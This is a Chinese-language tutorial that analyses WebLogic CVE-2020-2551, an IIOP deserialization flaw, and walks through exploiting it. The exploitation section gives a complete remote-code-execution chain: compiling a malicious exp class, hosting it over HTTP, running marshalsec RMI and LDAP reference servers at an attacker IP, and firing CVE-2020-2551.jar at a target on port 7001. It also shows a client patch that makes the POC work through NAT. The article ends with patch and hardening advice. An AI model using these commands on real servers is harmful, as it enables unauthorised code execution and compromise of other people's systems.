手把手教你解决Weblogic CVE-2020-2551 POC网络问题
字数 2063 2025-08-25 22:58:28
WebLogic CVE-2020-2551 IIOP协议反序列化漏洞分析与利用
1. 漏洞概述
CVE-2020-2551是Oracle WebLogic Server中的一个高危漏洞,CVSS评分9.8分,利用难度低。该漏洞基于IIOP协议执行远程代码,危害性较大,原因如下:
- Weblogic IIOP协议默认开启,与T3协议一起监听在7001或其他端口
- 这是Weblogic IIOP协议漏洞首次出现,修复周期长,具有长期利用价值
2. 漏洞原理分析
2.1 漏洞根源
漏洞主要原因是错误的过滤JtaTransactionManager类。虽然其父类AbstractPlatformTransactionManager已在补丁中被加入黑名单,但IIOP协议仅检查本类类名,而JtaTransactionManager类本身不在黑名单中,导致可被反序列化。
2.2 利用流程
- 通过JNDI方式利用IIOP协议向Weblogic申请注册远程对象,对象由
jtaTransactionManager构造 - Weblogic反序列化
jtaTransactionManager,通过LDAP/RMI协议获取JNDI引用 - 解码JNDI引用并加载恶意远程对象,实例化后触发恶意代码执行
3. 关键概念解析
3.1 RMI (Remote Method Invocation)
- Java实现的远程方法调用,底层使用JRMP协议
- 用于分布式系统中像本地调用一样方便地调用远程对象
3.2 LDAP (Lightweight Directory Access Protocol)
- 轻型目录访问协议,基于TCP/IP
- 用于保存描述性、基于属性的详细信息,支持查询、浏览和搜索
3.3 JNDI (Java Naming and Directory Interface)
- 包括命名服务(Naming Service)和目录服务(Directory Service)
- 允许客户端通过名称发现和查找数据、对象
- 可集成RMI、CORBA、LDAP等多种服务
3.3.1 JNDI注入攻击向量
RMI攻击向量:
- 创建Reference对象指定远程工厂类
- 使用ReferenceWrapper包装Reference对象
- 客户端lookup时从指定URL加载恶意类
LDAP攻击向量:
- 利用方式与RMI类似,但受JDK版本限制较少
- JDK 1.8.0_102后默认禁用远程代码加载
3.4 CORBA (Common Object Request Broker Architecture)
- 公共对象请求代理体系结构
- 由三部分组成:
- naming service (命名服务)
- client side (客户端)
- servant side (服务端)
3.5 IIOP/GIOP
- GIOP: 通用对象请求协议,CORBA的数据传输协议
- IIOP: GIOP在TCP/IP层的实现
3.6 RMI-IIOP
- 结合RMI简单性和CORBA多语言兼容性
- 允许RMI客户端使用IIOP协议操作CORBA对象
- Weblogic中实现了RMI-IIOP模型
4. 漏洞利用实践
4.1 环境准备
Weblogic环境搭建:
cd vulhub/weblogic/CVE-2017-10271/ && docker-compose up -d
攻击工具准备:
- 编译exp类:
javac -source 1.6 -target 1.6 exp.java - 启动HTTP Server:
python -m SimpleHTTPServer 80 - 启动RMI Server:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://[攻击IP]/#exp" 1099
4.2 网络问题分析
问题现象:
- 直连网络(内网)下POC有效
- Docker/NAT网络环境下POC失效
根本原因:
- Weblogic返回的LocateReply中包含内网IP地址
- 客户端无法访问该内网IP导致bind失败
4.3 解决方案
技术方案:
- 定位到
IOPProfile.class处理地址信息的逻辑 - 修改地址处理逻辑,将内网IP替换为可访问的外网IP
实现步骤:
- 反编译
wlfullclient.jar中的IOPProfile.class - 修改地址处理逻辑
- 重新编译并打包为新的JAR文件
关键修改点:
// 在ConnectionKey构造后添加以下代码
Channel remoteChannel = var1.getEndPoint().getRemoteChannel();
var4 = new ConnectionKey(remoteChannel.getInetAddress().getHostAddress(), remoteChannel.getPublicPort());
4.4 利用命令
RMI利用方式:
java -jar CVE-2020-2551.jar [目标IP] 7001 rmi://[攻击IP]:1099/exp
LDAP利用方式:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://[攻击IP]/#exp" 1389
java -jar CVE-2020-2551.jar [目标IP] 7001 ldap://[攻击IP]:1389/exp
5. 防御建议
- 及时安装Oracle官方补丁
- 如无需使用IIOP协议,可考虑关闭
- 限制Weblogic服务器的外网访问
- 升级JDK到最新版本,减少JNDI注入攻击面